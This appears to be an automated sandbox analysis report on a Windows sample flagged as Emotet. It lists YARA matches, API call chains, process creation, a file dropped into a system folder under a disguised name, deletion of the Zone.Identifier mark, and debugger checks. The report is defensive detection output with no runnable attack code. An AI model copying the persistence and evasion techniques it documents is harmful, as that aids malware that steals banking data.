Source: svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.309161825.00000184DC23D000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.309127915.00000184DC213000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.308892949.00000184DC245000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000003.287207473.00000184DC230000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000009.00000002.309155756.00000184DC239000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000009.00000003.308835499.00000184DC250000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: PHvqpLRfRl.exe, 00000000.00000002.202194536.0000000000A2A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 1.2.ipsmsnap.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f279e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.980000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f279e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ipsmsnap.exe.e5279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PHvqpLRfRl.exe.3f052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.467934925.0000000000E50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.202145856.0000000000814000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.202173410.0000000000981000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.467972344.0000000000E64000.00000004.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Code function: 1_2_004025A0 CryptAcquireContextW,CryptImportKey,LocalFree,CryptCreateHash,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptGenKey,

1_2_004025A0

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

File created: C:\Windows\SysWOW64\BackgroundTransferHost\

Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

File deleted: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe:Zone.Identifier

Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01159723	0_2_01159723
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_0114AFA8	0_2_0114AFA8
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_0115A181	0_2_0115A181
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01154057	0_2_01154057
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_0115D060	0_2_0115D060
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_011533D5	0_2_011533D5
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_0114DBCA	0_2_0114DBCA
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_011572CB	0_2_011572CB
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01153C22	0_2_01153C22
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_011537ED	0_2_011537ED
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01158660	0_2_01158660
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01152EE1	0_2_01152EE1
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F380E	0_2_003F380E
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F98FE	0_2_003F98FE
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F90CE	0_2_003F90CE
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F9C6E	0_2_003F9C6E
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F7F8E	0_2_003F7F8E
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01159723	1_2_01159723
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_0114AFA8	1_2_0114AFA8
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_0115A181	1_2_0115A181
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01154057	1_2_01154057
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_0115D060	1_2_0115D060
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_011533D5	1_2_011533D5
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_0114DBCA	1_2_0114DBCA
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_011572CB	1_2_011572CB
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01153C22	1_2_01153C22
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_011537ED	1_2_011537ED
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01158660	1_2_01158660
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01152EE1	1_2_01152EE1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_004080D0	1_2_004080D0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_004063F0	1_2_004063F0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00401C70	1_2_00401C70
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00407D60	1_2_00407D60
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00407530	1_2_00407530
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E598FE	1_2_00E598FE
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E590CE	1_2_00E590CE
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E59C6E	1_2_00E59C6E
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E5380E	1_2_00E5380E
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E57F8E	1_2_00E57F8E

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: String function: 0114B2A0 appears 39 times
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: String function: 0114B2A0 appears 39 times

Source: PHvqpLRfRl.exe, 00000000.00000002.202478074.00000000010F0000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs PHvqpLRfRl.exe
Source: PHvqpLRfRl.exe, 00000000.00000002.202478074.00000000010F0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs PHvqpLRfRl.exe
Source: PHvqpLRfRl.exe, 00000000.00000002.202436609.0000000001090000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs PHvqpLRfRl.exe

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: PHvqpLRfRl.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal88.troj.evad.winEXE@17/11@0/98

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Code function: 1_2_00404B90 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,CloseHandle,FindCloseChangeNotification,

1_2_00404B90

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_011488A0 CoCreateInstance,VariantInit,VariantClear,

0_2_011488A0

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_01141850 CreateDCW,GetLastError,StartDocW,GetLastError,StartPage,GetLastError,ExtEscape,GetLastError,FindResourceW,SizeofResource,LoadResource,LockResource,GetLastError,ExtEscape,GetLastError,ExtEscape,GetLastError,EndPage,EndDoc,LocalFree,CoTaskMemFree,DeleteDC,

0_2_01141850

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:5188:120:WilError_01

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Command line argument: Virtua	0_2_01143BC0
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Command line argument: lAlloc	0_2_01143BC0
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Command line argument: kernel32.dll	0_2_01143BC0
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Command line argument: 8192	0_2_01143BC0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Command line argument: Virtua	1_2_01143BC0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Command line argument: lAlloc	1_2_01143BC0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Command line argument: kernel32.dll	1_2_01143BC0
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Command line argument: 8192	1_2_01143BC0

Source: PHvqpLRfRl.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: PHvqpLRfRl.exe	Virustotal: Detection: 77%
Source: PHvqpLRfRl.exe	Metadefender: Detection: 51%
Source: PHvqpLRfRl.exe	ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\PHvqpLRfRl.exe 'C:\Users\user\Desktop\PHvqpLRfRl.exe'
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Process created: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Process created: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable	Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: PHvqpLRfRl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PHvqpLRfRl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PHvqpLRfRl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PHvqpLRfRl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PHvqpLRfRl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PHvqpLRfRl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: PHvqpLRfRl.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: PHvqpLRfRl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: PHvqpLRfRl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: PHvqpLRfRl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: PHvqpLRfRl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: PHvqpLRfRl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: PHvqpLRfRl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_00811030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

0_2_00811030

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_01156216 push ecx; ret	0_2_01156229
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_0114B2E5 push ecx; ret	0_2_0114B2F8
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F782E push ecx; mov dword ptr [esp], 00002224h	0_2_003F782F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003FE015 push 0000003Bh; ret	0_2_003FE01A
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F786E push ecx; mov dword ptr [esp], 0000A465h	0_2_003F786F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F78BE push ecx; mov dword ptr [esp], 0000C239h	0_2_003F78BF
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F788E push ecx; mov dword ptr [esp], 00000E88h	0_2_003F788F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F790E push ecx; mov dword ptr [esp], 0000B4A4h	0_2_003F790F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F797E push ecx; mov dword ptr [esp], 0000272Ah	0_2_003F797F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F794E push ecx; mov dword ptr [esp], 00001190h	0_2_003F794F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F79DE push ecx; mov dword ptr [esp], 0000C126h	0_2_003F79DF
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F7A3E push ecx; mov dword ptr [esp], 00008285h	0_2_003F7A3F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F7A7E push ecx; mov dword ptr [esp], 00006DE4h	0_2_003F7A7F
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003FD76E push ecx; retf	0_2_003FD7A5
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F77EE push ecx; mov dword ptr [esp], 00008F8Eh	0_2_003F77EF
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_01156216 push ecx; ret	1_2_01156229
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_0114B2E5 push ecx; ret	1_2_0114B2F8
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405C50 push ecx; mov dword ptr [esp], 00008F8Eh	1_2_00405C51
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405CD0 push ecx; mov dword ptr [esp], 0000A465h	1_2_00405CD1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405CF0 push ecx; mov dword ptr [esp], 00000E88h	1_2_00405CF1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405C90 push ecx; mov dword ptr [esp], 00002224h	1_2_00405C91
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405D70 push ecx; mov dword ptr [esp], 0000B4A4h	1_2_00405D71
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405D20 push ecx; mov dword ptr [esp], 0000C239h	1_2_00405D21
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405DE0 push ecx; mov dword ptr [esp], 0000272Ah	1_2_00405DE1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405DB0 push ecx; mov dword ptr [esp], 00001190h	1_2_00405DB1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405E40 push ecx; mov dword ptr [esp], 0000C126h	1_2_00405E41
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405EE0 push ecx; mov dword ptr [esp], 00006DE4h	1_2_00405EE1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00405EA0 push ecx; mov dword ptr [esp], 00008285h	1_2_00405EA1
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E578BE push ecx; mov dword ptr [esp], 0000C239h	1_2_00E578BF
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E5788E push ecx; mov dword ptr [esp], 00000E88h	1_2_00E5788F
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E5786E push ecx; mov dword ptr [esp], 0000A465h	1_2_00E5786F

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Executable created and started: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

PE file moved: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

File opened: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_0114AFA8 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0114AFA8

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 2348

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Code function: 1_2_004038B0 _snwprintf,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,

1_2_004038B0

Source: svchost.exe, 00000004.00000002.468125375.0000025BE102A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@`
Source: svchost.exe, 00000006.00000002.470048622.0000025C82540000.00000002.00000001.sdmp, svchost.exe, 00000011.00000002.406272493.000002D9E9EB0000.00000002.00000001.sdmp, svchost.exe, 0000001A.00000002.442538315.0000020D20460000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: ipsmsnap.exe, 00000001.00000002.468016701.0000000000E9A000.00000004.00000020.sdmp, svchost.exe, 00000004.00000002.470829364.0000025BE6861000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000005.00000002.467871912.000001431E402000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000006.00000002.470048622.0000025C82540000.00000002.00000001.sdmp, svchost.exe, 00000011.00000002.406272493.000002D9E9EB0000.00000002.00000001.sdmp, svchost.exe, 0000001A.00000002.442538315.0000020D20460000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: ipsmsnap.exe, 00000001.00000002.470677696.00000000030B0000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW '
Source: svchost.exe, 00000006.00000002.470048622.0000025C82540000.00000002.00000001.sdmp, svchost.exe, 00000011.00000002.406272493.000002D9E9EB0000.00000002.00000001.sdmp, svchost.exe, 0000001A.00000002.442538315.0000020D20460000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: svchost.exe, 00000005.00000002.467943438.000001431E429000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.467809094.0000025C8186A000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.468178940.00000224C302A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000006.00000002.470048622.0000025C82540000.00000002.00000001.sdmp, svchost.exe, 00000011.00000002.406272493.000002D9E9EB0000.00000002.00000001.sdmp, svchost.exe, 0000001A.00000002.442538315.0000020D20460000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	API call chain: ExitProcess graph end node	graph_0-21008
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	API call chain: ExitProcess graph end node	graph_0-20637
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	API call chain: ExitProcess graph end node	graph_1-26548
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	API call chain: ExitProcess graph end node	graph_1-27328

Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_0114A9FD IsDebuggerPresent,

0_2_0114A9FD

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_01155B25 EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_01155B25

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe

Code function: 0_2_00811030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

0_2_00811030

Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F689E mov eax, dword ptr fs:[00000030h]	0_2_003F689E
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F095E mov eax, dword ptr fs:[00000030h]	0_2_003F095E
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F59DE mov eax, dword ptr fs:[00000030h]	0_2_003F59DE
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_003F0456 mov eax, dword ptr fs:[00000030h]	0_2_003F0456
Source: C:\Users\user\Desktop\PHvqpLRfRl.exe	Code function: 0_2_00811030 mov eax, dword ptr fs:[00000030h]	0_2_00811030
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00404D00 mov eax, dword ptr fs:[00000030h]	1_2_00404D00
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00403E40 mov eax, dword ptr fs:[00000030h]	1_2_00403E40
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E5689E mov eax, dword ptr fs:[00000030h]	1_2_00E5689E
Source: C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe	Code function: 1_2_00E50456 mov eax, dword ptr fs:[00000030h]	1_2_00E50456
